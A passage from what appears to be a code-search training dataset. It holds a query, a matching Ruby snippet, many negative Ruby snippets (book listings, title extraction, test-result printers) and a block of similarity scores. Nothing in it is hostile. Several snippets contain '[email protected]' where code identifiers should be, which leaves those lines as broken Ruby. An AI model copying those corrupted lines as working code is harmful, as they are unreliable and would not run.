published_assessment_titles\n titles =[]\n published_table = frm.div(:class=>\"tier2\", :index=>2).table(:class=>\"listHier\", :index=>0)\n 1.upto(published_table.rows.size-1) do |x|\n titles << published_table[x][1].span(:id=>/publishedAssessmentTitle/).text\n end\n return titles\n end", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q]) if (params[:t] == \"title\" || params[:t].blank?)\n results = client.book_by_isbn(params[:q]) if params[:t] == \"isbn\"\n return results\n end", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q]) if (params[:t] == \"title\" || params[:t].blank?)\n results = client.book_by_isbn(params[:q]) if params[:t] == \"isbn\"\n return results\n end", "def return_names_array(doc)\n names = doc.css(\".search-content .teaser-item__title a span\")\n recipe_names = []\n names.each do |element|\n recipe_names << element.text\n end\n return recipe_names\n end", "def list_books\n @books = Book.all\n @books.each.with_index(1) do |book, i|\n puts \"#{i}.#{book.title} - #{book.author}\" \n #puts \"------------\"\n end\n puts \" \"\n puts \" \"\n end", "def extract_work_title_display\n \ttitle_display_array = {}\n self.find_by_terms(:vra_work,:titleSet,:titleSet_display).each do |title_display|\n ::Solrizer::Extractor.insert_solr_field_value(title_display_array, \"title_display_tesim\", title_display.text) \n end\n return title_display_array\n end", "def authorSearch(name)\n matches = @books_in_stock.select {|isbn,book| book.author == name}\n matches.values\n end", "def titles\n urls.each do |url|\n @titles << Nokogiri::HTML(open(url)).css('title')[0].text\n end\n @titles\n end", "def solr_resp_ids_titles(solr_params)\n solr_response(solr_params.merge(doc_ids_titles))\n end", "def compose_title_list(pairs)\n query = ''\n pairs.each do |s, ct|\n query = query + \" title:\\\"#{s}\\\"\"\n end\n \"(#{query})\"\n end", "def index\n default_q = {\n name_not_cont_all: (1..9).to_a.map { |i| [\"(#{i})\", \"(#{i})\", \"(0#{i})\", \"(0#{i})\"] }.flatten,\n press_not_cont_all: %w(東立 九星文化出版社 台灣角川股份有限公司 旺福圖書 N/A 銘顯文化事業有限公司 上海譯文出版社 明日工作室股份有限公司 橘子 十田十 青文出版社股份有限公司 尖端出版 龍吟ROSE 台灣東販股份有限公司 桔子),\n rate_gt: 4.5\n }\n @q = Book.enabled.ransack(params[:q])\n @books = params[:q] ? @q.result(distinct: true).page(params[:page]) :\n Book.enabled.ransack(default_q).result.page(params[:page]).order(publish_at: :desc)\n end", "def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end", "def find_books\n sql = \"SELECT * FROM books WHERE source_language_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n books_array = results.map{|book| Book.new(book)}\n return books_array\n end", "def slug_candidates\n [\n :title,\n [:title, year],\n [:title, full_date]\n ]\n end", "def find_book_by_title(book_title)\n books = @books\n for book in books\n if (book[:title] == book_title)\n return book\n end\n end\n return nil\n end", "def get_books\n unless self.scraped\n page = Nokogiri::HTML(open(self.url), nil, \"iso-8859-1\")\n item_elements = page.css(\".g-span7when-wide\")\n item_elements.each do |item|\n book_data = {}\n book_data[:title] = item.at_css(\".a-link-normal\").text.strip\n book_data[:author] = item.at_css(\".a-size-small\").text.split(\"by\")[-1].strip\n book_data[:price] = item.at_css(\".a-color-price\").text.strip\n book_data[:price] = \"N/A\" unless book_data[:price].include?(\"$\")\n book_data[:asin] = item.at_css(\".a-link-normal\")[\"href\"].split(\"/\")[2].strip.split(\"?\")[0]\n self.books << Book.new(book_data)\n end\n self.last_scraped = Time.now\n self.scraped = true\n end\n end", "def genres\n to_array search_by_itemprop 'genre'\n end", "def available_books\n\t\tputs \"Available Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"available\" }\n\tend", "def find_article_titles_by_author(author)\n @titles = []\n search_techcrunch[\"articles\"].each do |article|\n if article[\"author\"].include?(author)\n @titles << article[\"title\"]\n end\n end\n @titles.each_with_index do |title, index| puts \"#{index+1}. #{title}\"\n end\n return nil\n end", "def cookbookshelf\n \n cbs = Recipe.find_by_sql \"SELECT DISTINCT cookbook_id FROM recipes\"\n @indexedbooks = Array.new\n cbs.each do |cb|\n cbtitle = cb.cookbook.title.gsub(/^(.{50}[\\w.]*)(.*)/) {$2.empty? ? $1 : $1 + '...'}\n cb_details = {\n :id => cb.cookbook_id,\n :ISBN => cb.cookbook.ISBN,\n :author => cb.cookbook.author.name,\n :title => cbtitle\n }\n \n @indexedbooks << cb_details\n \n @indexedbooks = @indexedbooks.sort_by { |cookbook| cookbook[:author] }\n end\n respond_to do |format|\n format.html\n end\n end", "def show\n \t@books = Book.find_all_by_title(params[:book_name])\n end", "def get_book_title(book)\nend", "def books\n Book.where(\"songs ? :id\", id: self.id.to_s)\n end", "def index\n if params[:search]\n @lib_books = []\n @library.lib_books.each do |lib_book|\n @book = Book.find_by_id(lib_book.book_id)\n if params[:title] != \"\"\n next if [email protected]? params[:title].downcase\n end\n if params[:author] != \"\"\n next if [email protected]? params[:author].downcase\n end\n if params[:published] != \"\"\n next if [email protected]_s.eql? params[:published]\n end\n if params[:subject] != \"\"\n next if [email protected]? params[:subject].downcase\n end\n @lib_books.push(lib_book)\n end\n else\n @lib_books = @library.lib_books\n end\n end", "def weight_titles(ignore_id=nil)\n return weights(ignore_id).map{|x| x.text}\n end", "def untitled_labels\n Fe::Page.where(\"label like 'Page%'\").map {|s| s.label}\n end", "def all\n @books.each {|item| puts \"#{item[0]} (#{item[1]})\" }\n end", "def title_level_handles\n heb_title_ids = @heb_ids.map { |heb_full_book_id| heb_full_book_id[0, 8] }\n\n title_level_handles = {}\n\n heb_title_ids.each do |heb_title_id|\n # note: wrapping each `heb_title_id` with wildcard '*'s because the ':' in heb_id:heb98756.0001.001 is not a word break in a _tesim field.\n # searching `identifier_ssim` instead would also work.\n docs = ActiveFedora::SolrService.query(\"+has_model_ssim:Monograph AND +press_sim:heb AND -id:#{@noid} AND +identifier_tesim:*#{heb_title_id}*\", rows: 100_000)\n\n # If a title has multiple Monographs we will point the title-level handle to a Blacklight search, e.g.:\n # '2027/heb04045' --> 'https://www.fulcrum.org/heb?q=heb04045*'\n # Otherwise we will simply point it to the one extant HEB Monograph, e.g.:\n # '2027/heb12345' --> 'https://www.fulcrum.org/concern/monographs/999999999'\n if docs.count > 0\n # Adding the q parameter using the helper seems inevitably to URL-escape the asterisk. Just concatenate it.\n title_level_handles[\"2027/#{heb_title_id}\"] = Rails.application.routes.url_helpers.press_catalog_url('heb') + \"?q=#{heb_title_id}*\"\n else\n title_level_handles[\"2027/#{heb_title_id}\"] = Rails.application.routes.url_helpers.hyrax_monograph_url(@noid)\n end\n end\n\n title_level_handles\n end", "def slug_candidates\n [:title]\n end", "def titles(*values)\n values.inject(self) { |res, val| res._titles(val) }\n end", "def titles(*values)\n values.inject(self) { |res, val| res._titles(val) }\n end", "def title\n\t\t@book\n\tend", "def collection_titles_from_solr\n @collection_titles_from_solr ||= begin\n raise TypeError.new(\"Can't find collections from solr until work is saved\") unless self.id.present?\n ActiveFedora::SolrService.query(\n \"has_model_ssim:Collection AND member_ids_ssim:#{self.id}\",\n fl: \"id,title_tesim\",\n rows: 100).collect { |hash| hash[\"title_tesim\"]}\n end\n end", "def slug_candidates\n [\n :title,\n %i[title city],\n %i[title city zipcode]\n ]\n end", "def title_headers\r\n @items.collect do |item|\r\n\t \"#{item.title}-#{item.pubDate}\"\r\n\tend\r\n end", "def slug_candidates\n [\n [:title],\n [:title, :address],\n [:title, :address, :id]\n ]\n end", "def rent_details(books) #passed\n details_collect = []\n for rentals in books[:rental_details]\n details_collect.push(rentals)\n end\n end", "def extract_title\n title = extract(:title).presence\n return [] unless title\n\n # @type var title: Array[String]\n title = Array(title)\n return title.map(&:downcase) if extract(:lowercase) == true\n\n title\n end", "def titles\n RakeMKV::Titles.new(build_titles)\n end", "def titles\n RakeMKV::Titles.new(build_titles)\n end", "def show\n @books = @promotion.books.order(:sort_title)\n @subjects = @promotion.books.map{ |book| book.subjects }\n # binding.pry\n\n unless params[:subject].nil?\n @books = @promotion.books.where('subjects LIKE ?', \"%#{params[:subject]}%\")\n .order(:sort_title)\n end\n end", "def list\n @books = Book.all\n end", "def sw_subject_titles(sep = ' ')\n result = []\n mods_ng_xml.subject.titleInfo.each { |ti_el|\n parts = ti_el.element_children.map(&:text).reject(&:empty?)\n result << parts.join(sep).strip unless parts.empty?\n }\n result\n end" ]
[ "0.76230174", "0.69025683", "0.6664996", "0.63293105", "0.62854755", "0.6246722", "0.6224005", "0.61639774", "0.6144208", "0.6053566", "0.60528654", "0.60228664", "0.5941101", "0.59186614", "0.5905289", "0.58911085", "0.58618873", "0.5844521", "0.58437264", "0.58156776", "0.58049417", "0.5766084", "0.5757515", "0.5728414", "0.57258284", "0.57119703", "0.57071114", "0.5697764", "0.569694", "0.5690376", "0.5663117", "0.5652529", "0.56479186", "0.5647749", "0.56431866", "0.56352043", "0.5630047", "0.562071", "0.5610539", "0.5589075", "0.5585528", "0.5573943", "0.55655205", "0.5528791", "0.55157554", "0.55135435", "0.55049634", "0.5504584", "0.5494622", "0.54901433", "0.5470573", "0.5468758", "0.5460653", "0.545931", "0.5448604", "0.5427683", "0.54274684", "0.54255366", "0.54229194", "0.54229194", "0.54151696", "0.54116416", "0.5409766", "0.5405508", "0.54034746", "0.53911793", "0.5383386", "0.537278", "0.53698003", "0.53659654", "0.536331", "0.53571415", "0.5345029", "0.5344302", "0.53378624", "0.53366566", "0.53342235", "0.5328399", "0.53270566", "0.53241706", "0.532219", "0.53205097", "0.5319164", "0.530564", "0.53037286", "0.530306", "0.5302446", "0.5302446", "0.5302306", "0.52844495", "0.5276412", "0.5274879", "0.5273304", "0.52726614", "0.5272638", "0.5268539", "0.5268539", "0.5265915", "0.526274", "0.52483577" ]
0.6332127
3
Outputs iteration result in a Rspec like format
def out(result, revert = false) (result ? print('.'.green) : print('F'.red)) unless Rails.env.test? revert ? !result : result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def testi_display_result\n\t\t\tputs testi_stats\n\t\tend", "def results_to_html\n results_html = \"<p>Here are the last #{@results.length} test results:</p>\"\\\n \"<table style='width:100%;font-size:11px;'><tr>\"\\\n \"<th align='left'>Server</th><th align='left'>Download</th>\"\\\n \"<th align='left'>Upload</th><th align='left'>Time</th></tr>\"\n @results.each do |result|\n results_html += \"<tr><td>#{result[:server]}</td><td>#{result[:download]}</td>\"\n results_html += \"<td>#{result[:upload]}</td><td>#{result[:time]}</td></tr>\"\n end\n results_html += \"</table>\"\n return results_html\n end", "def test_print_results\n @d.add_book\n @d.add_book\n @d.add_book\n @d.add_book\n @d.add_dino\n @d.add_dino\n @d.add_dino\n @d.add_class\n @d.add_class\n assert_output(\"Driver 1 obtained 4 books!\\nDriver 1 obtained 3 dinosaur toys!\\nDriver 1 attended 4 classes!\\n\") { @d.print_results }\n end", "def output_for items\n output = \"\"\n items.each_with_index do |item, position|\n output += \"#{position + 1}) #{item.type.capitalize}: #{item.details}\\n\"\n end\n output # Return the output to print (well, put) it\n end", "def printTestExpectedOutput( fp )\n\t\tfp.printf( \"%s\\t\", @name ) if @name\n\t\tmissing = countMissing()\n\t\tfp.printf( \"%s:%s:%d:%d\\t\",\n\t\t\t\tmissing < @vector.length ? \"I\" : \"?\",\n\t\t\t\tdegenerate? ? \"!\" : \"-\", \n\t\t\t\t@cats, \n\t\t\t\tmissing )\n\t\tfp.puts( @vector.collect { |x| x.nil? ? OUTPUT_NA_MARKER : x }.join(\"\\t\") )\n\tend", "def printTestExpectedOutput( fp )\n\t\tfp.printf( \"%s\\t\", @name ) if @name\n\t\tmissing = countMissing()\n\t\tfp.printf( \"%s:%s:%d:%d\\t\",\n\t\t\t\tmissing < @vector.length ? \"I\" : \"?\",\n\t\t\t\tdegenerate? ? \"!\" : \"-\", \n\t\t\t\t@cats, \n\t\t\t\tmissing )\n\t\tfp.puts( @vector.collect { |x| x.nil? ? OUTPUT_NA_MARKER : x }.join(\"\\t\") )\n\tend", "def print_results\n Report::print(@result_set)\n end", "def print_results\n if [email protected]?\n @failures.each do |test|\n pout \"\\nFailed: #{test[:desc]}\"\n puts test[:result]\n # print a newline for easier reading\n puts \"\"\n end\n abort\n else\n puts \"All passed!\".green\n end\nend", "def format_results(obj)\n o = ''\n obj.each_result do |key, res|\n links = format_result_links(res)\n stats = format_result_stats(res)\n next unless links || stats\n name = format_name(key)\n url_doc =\n 'http://manual.microbial-genomes.org/part5/workflow#' +\n key.to_s.tr('_', '-')\n o += <<~CARD\n <div class=\"col-md-6 mb-4\">\n <h3>#{name}</h3>\n <div class='border-left p-3'>\n #{stats}\n #{links}\n </div>\n <div class='border-top p-2 bg-light'>\n <a target=_blank href=\"#{url_doc}\" class='p-2'>Learn more</a>\n </div>\n </div>\n CARD\n end\n \"<div class='row'>#{o}</div>\"\n end", "def printTestExpectedOutput( fp )\n\t\t# mtproc does not re-emit the header (column names)\n\t\[email protected] do |row|\n\t\t\tif row.instance_of?( RandomContinuousFeature ) then\n\t\t\t\trow.printTestExpectedOutput( fp, OUTPUT_FLOAT_FORMAT )\n\t\t\telse\n\t\t\t\trow.printTestExpectedOutput( fp )\n\t\t\tend\n\t\tend\n\tend", "def build_examples_output output\n output.join(\"\\n\\n\\t\")\n end", "def inspect\n test_cases.each do |tc|\n puts tc.print\n end\n end", "def print_results\n if @results.empty?\n puts 'No results found'\n return\n end\n\n tab_length = @results.first.keys.max_by(&:length).length\n @results.each do |result|\n result.each do |k, v|\n printf(\"%-#{tab_length}s %s\\n\", k, v.is_a?(Array) ? v.join(', ') : v)\n end\n puts '----------------------------------------------------------------------'\n end\n end", "def to_html\n html = generate_header\n i = 0\n project = Continuous4r.project\n errors_or_warnings = 0\n html_details = \"\"\n if !(Config::CONFIG['host_os'] =~ /mswin/)\n require 'open3'\n end\n ['spec'].each do |runner|\n error_detail_array, result = run_runner(runner)\n passed = test_passed?(result, error_detail)\n if !(error_detail_array.match(/rake aborted/).nil?) and error_detail_array.split(/$/).length > 1\n error_detail = extract_error_detail(error_detail_array)\n end\n html << generate_line_start(runner, passed)\n raise \" #{runner} tests failed.\\n BUILD FAILED.\" if project.ignore_tests_failures == \"false\" and passed == false\n File.open(\"#{Continuous4r::WORK_DIR}/test_#{runner}.log\", \"w\") do |file|\n file.write(result)\n file.close\n end\n html << \"<td style='text-align: center;'><img src='images/icon_#{passed ? 'success' : 'error'}_sml.gif'/></td>\"\n file_content = File.read(\"#{Continuous4r::WORK_DIR}/test_#{runner}.log\")\n array_file_content = file_content.split(/$/)\n test_results = extract_test_results(array_file_content)\n examples = test_results[0]\n failures = test_results[1]\n failures ||= 0\n errors_or_warnings += failures.to_i\n if failures.to_i > 0\n html_details << generate_failure_lines(array_file_content)\n end\n if array_file_content.select{|l| l =~ /^Finished in/}.length == 0\n html << generate_default_result_and_time_columns(result, error_detail, passed)\n else\n html << generate_result_and_time_columns(examples, failures, array_file_content)\n end\n i += 1\n end\n html << \"</tbody></table>\"\n return html if errors_or_warnings == 0\n html << generate_error_details(html_details)\n end", "def outputing # :yields:\n result = yield\n fail \"Empty result\" unless result && result.size > 0\n output(result)\n end", "def output_results(test_results)\n total_tests = test_results.size\n total_assertions = 0\n total_failures = 0\n total_errors = 0\n\n test_results.each do |test_result|\n if test_result.status == \"allow_failure\"\n output_stdout(\"Test #{test_result.name} was allowed to fail, and failed\\n\")\n elsif test_result.status == \"allow_success\"\n output_stdout(\"Test #{test_result.name} was allowed to fail, but succeeded\\n\")\n end\n total_assertions += test_result.assertion_count\n if not test_result.passed?\n total_failures += test_result.failures.size\n total_errors += test_result.errors.size\n faults = test_result.failures + test_result.errors\n faults.each_with_index do |fault, index|\n output_stdout(\"\\n%3d) %s\\n\" % [index + 1, fault.long_desc])\n end\n test_result.coredumps.each do |hostname, corelist|\n output_stdout(\"Coredumps on host #{hostname}:\\n\")\n corelist.each {|core| output_stdout(core.corefilename)}\n output_stdout(\"Binaries and corefiles saved in #{hostname}:#{corelist.first.coredir}\\n\")\n end\n end\n end\n output_stdout(\"In all: #{total_tests} Tests, #{total_assertions} Assertions, #{total_failures} Failures, #{total_errors} Errors.\\n\")\n end", "def all\n puts header\n puts output_for @items\n end", "def display_results\r\n if @errors.empty?\r\n if @test_diff.empty?\r\n @out.puts \"Output matches exactly\"\r\n else\r\n @out.puts \"Test diff:\"\r\n @out.puts @test_diff\r\n end\r\n else\r\n @errors.each {|error| @out.puts error }\r\n end\r\n end", "def results\r\n print_books\r\n print_toys\r\n print_classes\r\n end", "def unitTests\n\t\trender(json: {nrFailed: 0, output: \"return some output\", totalTests: 15})\n\tend", "def format_output_with_CSV()\r\n\t\theadings = [] << \"Run\"\r\n\t\trows = []\r\n\t\t@actual_parameters.each {|t| headings << t[0]}\r\n\t\[email protected]_with_index do |run,i|\r\n\t\t\ttemp = [\"#{i+1}\"];\r\n\t\t\trun.each_with_index do |r,i|\r\n\t\t\t\ttemp << @actual_parameters[i][Integer(run[i][1])]\r\n\t\t\tend\r\n\t\t\trows << temp\r\n\t\tend\r\n\t\t@output_table = Terminal::Table.new :title => \"IPO Algorithm tests output\", :headings => headings, :rows => rows\r\n\tend", "def print_all( print_result )\n print_result.each do |print_output|\n puts print_output\n end\nend", "def test_print_fake\r\n test = Prospect.new(0)\r\n test.totalfakes = 1\r\n assert_output(/\\tFound 1 fake ruby in Enumerable Canyon. /) { test.print_all_rubies(test.totalruby, test.totalfakes)}\r\n end", "def print_list(list)\r\n # steps:\r\n # use each method to print the following: \"You have #{quantity} #{item_name}\"\r\n list.each do |name, quantity|\r\n puts \"You have #{quantity} of #{name}!\"\r\n end\r\n # output: -no output-\r\nend", "def spec(result, log = true)\n @run_count += 1\n if result.passing?\n @passes << result\n elsif result.pending?\n @pendings << result\n else\n @failures << result\n end\n log_spec(result) if log\n @stdout = \"\"\n end", "def output\n @results\n end", "def iterate_my_data # this can form the basis of formal testing for this whole class\n\n puts \"\\n#{\"*\"*40}\"\n puts \"GOOD CAUSES ARRAY DATA\"\n puts \"\n Username : #{@username}\n Budget : #{@budget}\n Charity Coins #{@charity_coins}\n \"\n\n puts \"\\n#{\"*\"*40}\"\n puts \"GOOD CAUSES ARRAY DATA\"\n @good_causes_array.each do |iteration|\n puts iteration.id\n puts iteration.area\n puts iteration.country\n puts iteration.category\n puts iteration.description\n puts iteration.charity_name\n puts iteration.completed\n puts iteration.presentation\n end\n\n puts \"\\n#{\"*\"*40}\"\n\n end", "def summary_at_exit\n reporter = Speciny::Reporter.new(@description)\n @tests.each do |example, result|\n reporter.print_test_result(example, result)\n end\n end", "def report(results, indent: 0, percentiles: [ 10, 25, 50, 75, 90, 95, 98, 99 ])\n results.each do |key, value|\n puts format('%*s%s:', indent, '', key)\n\n if value.respond_to?(:summary)\n puts value.summary(indent + 2, percentiles)\n else\n report(value, indent: indent + 2, percentiles: percentiles)\n end\n end\n end", "def test_showResults\n\t\td = Driver::new(\"Driver 1\",0)\n\t\tassert_output (\"Driver 1 obtained 0 books!\\nDriver 1 obtained 0 dinosaur toys!\\nDriver 1 attended 1 class!\\n\") {d.showResults}\n\t\td.setLocation 0 #from hospital to cathedral\n\t\td.checkLocation\n\t\tassert_output (\"Driver 1 obtained 0 books!\\nDriver 1 obtained 0 dinosaur toys!\\nDriver 1 attended 2 classes!\\n\") {d.showResults}\n\t\td.setLocation 1 #from cathedral to museum\n\t\td.checkLocation\n\t\tassert_output (\"Driver 1 obtained 0 books!\\nDriver 1 obtained 1 dinosaur toy!\\nDriver 1 attended 2 classes!\\n\") {d.showResults}\n\t\td.setLocation 1 #from museum to hillman\n\t\td.checkLocation\n\t\tassert_output (\"Driver 1 obtained 1 book!\\nDriver 1 obtained 1 dinosaur toy!\\nDriver 1 attended 2 classes!\\n\") {d.showResults}\n\t\td.setLocation 0 #from hillman to downtown\n\t\td.checkLocation\n\t\tassert_output (\"Driver 1 obtained 1 book!\\nDriver 1 obtained 1 dinosaur toy!\\nDriver 1 attended 2 classes!\\n\") {d.showResults}\n\tend", "def report_test_results(test_name, results)\n status = true\n message = \"\"\n for result in results\n # print (\"Status: \"+result[0].to_s+\"\\n\")\n status = (status && result[0])\n if (result[1].is_a?(Array))\n for m in result[1]\n message += m.to_s + \"\\n\\t\"\n end\n else\n message += result[1] + \"; \"\n end\n end\n\n report_test_result(test_name, status, message)\nend", "def build_examples_output(output)\n output.join(\"\\n\\n\\t\")\n end", "def build_examples_output(output)\n output.join(\"\\n\\n\\t\")\n end", "def print_result(result)\n puts result.solutions\n result.fragments.each do |fragment|\n puts fragment\n end\n end", "def display_results\r\n if @errors.empty?\r\n @out.puts @results\r\n else\r\n @errors.each{ |error| @out.puts error }\r\n end\r\n end", "def print_results\r\n @cordinators.each do |c|\r\n print c.klass.to_s.ljust(25, ' ')\r\n c.print_stats\r\n end\r\n end", "def puts_report(step)\n puts \"STEP #{step}\"\n puts \"CONCEPTS: \"\n puts @concepts_list\n puts \"PROPERTIES: \"\n @properties_list.each do |p_name, p_type|\n puts \"#{p_name} --> #{p_type}\"\n end\n puts \"\\n\"\n end", "def print_results(results)\n important \"\"\n print_stats(results)\n\n important \"* #{format_float(results.failure_rate)}% failure rate\"\n suffix = \" (#{format_float(results.elapsed / ITERATIONS.to_f)}/iteration)\" if ITERATIONS > 0\n important \"* #{format_float(results.elapsed)} seconds elapsed#{suffix}\"\nend", "def print_result(formatted_result)\n puts formatted_result\n end", "def each\n yield to_s\n end", "def each\n yield to_s\n end", "def format_output(orders)\n orders.each do |order_item|\n puts \"#{order_item[:requested_flower]} #{order_item[:flower_code]} $#{order_item[:total_price]}\"\n order_item[:order_bundles].each do |bundle|\n puts \" #{bundle[:number_of_flowers]} X #{bundle[:number_needed]} $#{bundle[:price]}\"\n end\n end\n end", "def format_output_without_CSV\r\n\t\theadings = [] << \"Run\"\r\n\t\trows = []\r\n\t\[email protected]_with_index {|p,i| headings << \"F#{i+1}\"}\r\n\t\[email protected]_with_index {|r,i| temp = [\"#{i+1}\"]; temp += r; rows << temp}\r\n\t\t@output_table = Terminal::Table.new :title => \"IPO Algorithm tests output\", :headings => headings, :rows => rows\r\n\tend", "def pretty_print(result)\n result.each_with_index do |line, index|\n puts \"#{index+1}:\\t #{type_to_sym(line[:type])}\\t#{line[:value]}\"\n end\n end", "def run\n # Here we're using Phantom to load the page and run the specs\n command = \"#{Phantomjs.path} 'phantom_jasmine_run.js' #{@jasmine_server_url} #{@result_batch_size}\"\n IO.popen(command) do |output|\n # The `phantom_jasmine_run.js` script writes out batches of results as JSON\n output.each do |line|\n raw_results = JSON.parse(line, :max_nesting => false)\n # Formatters expect to get `Jasmine::Result` objects.\n # It is the runner's job to convert the result objects from the page, and pass them to the `format` method of their formatter.\n results = raw_results.map { |r| Result.new(r) }\n @formatter.format(results)\n end\n end\n # When the tests have finished, call `done` on the formatter to run any necessary completion logic.\n @formatter.done\n end", "def display(index, test)\n lines = formatter.display(test).split(\"\\n\")\n puts \"%4s) #{lines.shift}\" % index\n lines.each do |line|\n puts \" \" + line\n end\n puts\n end", "def output_results_table(results={})\n puts\n puts \"----------------------------------------\"\n puts \"| Type | Mean | Median |\"\n puts \"----------------------------------------\"\n results.each do |label, hash|\n print \"| \" + label.ljust(10) + \" | \"\n print sprintf(\"%.6f\", hash[:mean]).rjust(10) + \" | \"\n puts sprintf(\"%.6f\", hash[:median]).rjust(10) + \" | \"\n end\n puts \"----------------------------------------\"\n puts\nend", "def print_list(list)\r\n# input: completed list\r\n# steps:\r\n # iterate over list and print formatted list\r\n puts \"Your Grocery List\"\r\n list.each do |item, quantity|\r\n puts \"#{item}, qty: #{quantity}\"\r\n end\r\n # format: each item with its own line\r\n # \"item - quantity\"\r\n# output: implicit return of list\r\nend", "def display_results_html\n\t\t output =\"<!DOCTYPE html><html xmlns=\\\"http://www.w3.org/1999/xhtml\\\"><head><title></title></head><body>\"\n\t\t output.concat(\"<table><thead><tr><td>FileName</td></tr><tr><td>#{@folder1}</td></tr><tr><td>#{@folder2}</td></tr><tr><td>Equal</td></tr></thead>\")\n @filehash.each{ |key, value| output.concat(\"<tbody><tr><td>#{value.file_name}</td></tr><tr><td>#{value.file_hash1}</td></tr><tr><td>#{value.file_hash2}</td></tr><tr><td>#{value.file_hash1==value.file_hash2}</td></tr>\")}\n output.concat(\"</tbody></table></body></html>\")\n puts output\n end", "def summarize_results(fn)\n body = \"\"\n results = get_test_results(fn)\n total = results[:error].length + results[:fail].length + results[:pass].length\n total_failed = results[:fail].length + results[:error].length\n\n body << \"Tests Executed: \" + total.to_s + \"\\n\"\n body << \"Passed: \" + results[:pass].length.to_s + \"\\n\"\n body << \"Failed: \" + results[:fail].length.to_s + \"\\n\"\n body << \"Error: \" + results[:error].length.to_s + \"\\n\"\n body << ((results[:pass].length.to_f/total).round(4) * 100).to_s + \"% Passed\" + \"\\n\"\n\n if results[:error].length != 0 || results[:fail].length != 0\n body << \"\\n\"\n body << \"Failed/Errored Tests:\\n\"\n (results[:error].concat(results[:fail])).each do |test|\n body << \" #{test}\\n\"\n end\n end\n \n puts \"-\" * 50\n puts body\n puts \"-\" * 50\n \n summary = {}\n summary[:body] = body\n \n bottom_line = \"#{total_failed}/#{total} failed\"\n summary[:bottom_line] = bottom_line\n \n return summary\n end", "def print_collection_elements\n\t\[email protected] { |i| puts i }\n\tend", "def show_result(collection:)\n show do\n title 'Test Plate Setup'\n table highlight_non_empty(collection)\n end\n end", "def output_results\n CukeSniffer::Formatter.output_console(self)\n end", "def test_see_results_valid_output\n mock_map = Minitest::Mock.new('Mock Map')\n mock_map_finder = Minitest::Mock.new('Mock Map Finder')\n joe = Prospector.new(mock_map, mock_map_finder)\n out_put = \"After 0 days, Rubyist 4 found:\\n 0 rubies.\\n 0 fake rubies.\\nGoing home empty-handed.\\n\"\n assert_output(out_put) { joe.see_results(4) }\n end", "def message(results)\n message = \"#{results[:tests]} tests\\n\"\n message << \"#{results[:assertions]} assertions\\n\"\n message << \"#{results[:failures]} failures\\n\"\n message << \"#{results[:errors]} errors\\n\"\n message\n end", "def print_report(step)\n puts \"STEP #{step}\"\n i = 0\n @list.each do |pattern|\n i = i.next\n puts \"PATTERN #{i}\"\n j = 0\n pattern.each do |item|\n j = j.next\n puts \"#{j} - #{item}\"\n end\n end\n puts \"\\n\"\n end", "def output(&block)\n response = yield\n if response.fetch('success')\n puts format { filter { response.fetch('result') } }\n else\n puts format { response.fetch('error') }\n end\n end", "def outputcase \n for i in [email protected] do\n\n isfit = checkMustHaveNotLimit @records.recordsArr[i]\n \n\n for j in [email protected][i].valuesArr.length do\n print parameters.paramsArr[j].elementsArr[@records.recordsArr[i].valuesArr[j]].value\n print ' '\n end\n puts ' '\n \n end\n end", "def display_each\n puts \" * #{self.experience} experience at #{self.company_name}\"\n end", "def print_test_suites(options={})\n\n # Heading\n print \"TEST_SUITE, \"\n print \"#{@ts_data_types.join(\", \")}\\n\"\n\n # CSV data\n @test_suites.each do |test_suite|\n print \"#{test_suite[:name]}, \"\n @ts_data_types.each do |datatype|\n unless datatype == @ts_data_types.first\n print \", \"\n end\n print \"#{test_suite[datatype.to_sym]}\"\n end\n print \"\\n\"\n end\nend", "def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend", "def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend", "def results\n # read execution resuls\n file = File.open(@spec_output_file, 'r')\n specresults = file.read\n file.close\n\n # fetch example results\n # and cut eventual stdout output after json\n specresults = specresults[0..(specresults.rindex(\"\\}\"))]\n jsonresults = JSON.parse(specresults, symbolize_names: true)\n\n # get summary\n example_count = jsonresults[:summary][:example_count] || 0\n pending_count = jsonresults[:summary][:pending_count] || 0\n failure_count = jsonresults[:summary][:failure_count] || 0\n success_count = example_count - pending_count - failure_count\n return success_count, pending_count, failure_count\n end", "def summary\n s = tests.keys.size\n puts \"\\n#{s} tests, #{@success_count} succeeded, #{@failure_count} failed\"\n end", "def print output_formatter\n output_formatter.print({ \"Commits:\" => @commits, \"Standard churn:\" => @result, \"Deletions:\" => @deletions, \"Insertions:\" => @insertions })\n end", "def format(result)\n result.values.join(\"\\n\")\n end", "def report(driver_sum, money_result, rate_result)\n puts \"\\nPerformance Report: \\n\\n\"\n\n driver_sum.each do |item|\n puts \"Driver ##{item[:id]}: #{item[:ride_num]} rides, made $#{item[:total_money]}, averate rate #{item[:aver_rate]}\"\n end\n\n puts \"\\nDriver(s) made the most money $#{money_result[0]}: #{money_result[1]}\"\n puts \"Driver(s) got the highese average rating #{rate_result[0]}: #{rate_result[1]}\\n\\n\"\nend", "def test_results_victory\r\n assert_output(\"Going home victorious!\\n\") { @g.results(10) }\r\n end", "def each(&block)\n \n # first time each() is called\n if (@test_response == false)\n @test_response = true\n return\n end\n \n # if we have already generated content, return, otherwise generate\n return if @generated\n \n # generate a CSV header\n yield generate_header()\n \n # generate the CSV content\n # in our production code, we have this method being called in a X.times {} cycle\n # where the block passes the iteration number into the method, calculates and returns data\n # X.times { |t| generate_content(t) }\n yield generate_content()\n \n # generate a CSV footer\n yield generate_footer()\n \n # this lets the renderer know we are done\n yield \"\\r\\n\"\n \n @generated = true\n end", "def to_stdout\n\t\t\tresult_string = String.new\n\t\t\thashes = Array.new\n\n\t\t\[email protected]_by {|k| k[:scanner] }.each do |result|\n\t\t\t\tunless hashes.include? result[:hash].downcase\n\t\t\t\t\tresult_string << \"#{result[:hash]}:\\n\"\n\t\t\t\t\thashes << result[:hash].downcase\n\t\t\t\tend\n\t\t\t\tresult_string << \"#{result[:scanner]}: \".rjust(25) + 